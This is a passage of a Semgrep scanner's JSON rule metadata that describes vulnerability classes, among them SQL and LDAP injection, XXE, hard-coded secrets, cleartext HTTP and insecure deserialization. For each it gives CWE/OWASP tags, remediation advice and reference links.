[https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped. Ensure data passed to an LDAP query is not controllable or properly sanitize the user input with functions like createEqualityFilter."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","id":"java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","name":"java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-ldap-injection.spring-tainted-ldap-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted."},"help":{"markdown":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.uri.http-url.http-url)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The application may be making an insecure HTTP request which may allow attackers to intercept plaintext information. Instead, the URL should use HTTPS to ensure that the request is encrypted."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.uri.http-url.http-url","id":"cpp.lang.security.uri.http-url.http-url","name":"cpp.lang.security.uri.http-url.http-url","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.uri.http-url.http-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"helpUri":"https://semgrep.dev/r/kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","id":"kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","name":"kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.prepare-statetment-sqli.prepare-statement-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes."},"help":{"markdown":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attributes.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_model_attributes.rb)\n","text":"Checks for models that do not use attr_accessible. This means there is no limiting of which variables can be manipulated through mass assignment. For newer Rails applications, parameters should be allowlisted using strong parameters. For older Rails versions, they should be allowlisted using strong_attributes."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","id":"ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","name":"ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.model-attributes-attr-accessible.model-attributes-attr-accessible"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve](https://docs.python.org/3/library/urllib.request.html#urllib.request.urlretrieve)\n","text":"Detected 'urllib.urlretrieve()' using 'http://'. This request will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlretrieve.insecure-urlretrieve"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","id":"python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","name":"python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-hardcoded-secret-auth.python-neo4j-hardcoded-secret-auth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"help":{"markdown":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS Backup vault is unencrypted. The AWS KMS encryption key protects backups in the Backup vault. To create your own, create a aws_kms_key resource or use the ARN string of a key in your account."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","id":"terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","name":"terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-backup-vault-unencrypted.aws-backup-vault-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. The xml parsing libraries are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, they are still vulnerable to denial of service attacks such as billion laughs and quadratic blowup. To mitigate these attacks, it is recommended to use a different parser such as defusedxml."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","id":"python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","name":"python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-stdlib.tainted-fastapi-xml-stdlib"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts."},"help":{"markdown":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active)\n - [https://cwe.mitre.org/data/definitions/778.html](https://cwe.mitre.org/data/definitions/778.html)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_function#mode](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/lambda_function#mode)\n - [https://docs.aws.amazon.com/lambda/latest/dg/services-xray.html](https://docs.aws.amazon.com/lambda/latest/dg/services-xray.html)\n","text":"The AWS Lambda function does not have active X-Ray tracing enabled. X-Ray tracing enables end-to-end debugging and analysis of all function activity. This makes it easier to trace the flow of logs and identify bottlenecks, slow downs and timeouts."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","id":"terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","name":"terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","MEDIUM CONFIDENCE","OWASP-A09:2021 Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-lambda-x-ray-tracing-not-active.aws-lambda-x-ray-tracing-not-active"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","id":"kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","name":"kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-hardcoded-password.jedis-hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument."},"help":{"markdown":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to)\n - [https://brakemanscanner.org/docs/warning_types/link_to/](https://brakemanscanner.org/docs/warning_types/link_to/)\n - [https://brakemanscanner.org/docs/warning_types/link_to_href/](https://brakemanscanner.org/docs/warning_types/link_to_href/)\n","text":"This code includes user input in `link_to`. In Rails 2.x, the body of `link_to` is not escaped. This means that user input which reaches the body will be executed when the HTML is rendered. Even in other versions, values starting with `javascript:` or `data:` are not escaped. It is better to create and use a safer function which checks the body argument."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","id":"ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","name":"ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-link-to.avoid-link-to"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","id":"ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","name":"ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.cassandra.ruby-cassandra-empty-password.ruby-cassandra-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'."},"help":{"markdown":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode)\n","text":"'open_out' behaves differently on Windows and on Unix-like systems with respect to line endings. To get the same behavior everywhere, use 'open_out_bin' or 'open_out_gen [Open_binary]'. If you really want LF-to-CRLF translations to take place when running on Windows, use 'open_out_gen [Open_text]'."},"helpUri":"https://semgrep.dev/r/ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","id":"ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","name":"ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: ocaml.lang.portability.crlf-support.prefer-write-in-binary-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to IMMUTABLE."},"help":{"markdown":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to IMMUTABLE.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository#image_tag_mutability](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/ecr_repository#image_tag_mutability)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/)\n","text":"The ECR repository allows tag mutability. Image tags could be overwritten with compromised images. ECR images should be set to IMMUTABLE to prevent code injection through image mutation. This can be done by setting `image_tag_mutability` to IMMUTABLE."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","id":"terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","name":"terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","MEDIUM CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ecr-mutable-image-tags.aws-ecr-mutable-image-tags"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The constructor for SAXReader has an optional XMLReader argument. However, configuring this XMLReader before using it in the constructor has no effect on the security of the SAXReader. The SAXReader itself needs to be configured to prevent XXE vulnerabilities. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","id":"java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","name":"java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.saxreader-xmlreader-constructor.saxreader-xmlreader-constructor"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep 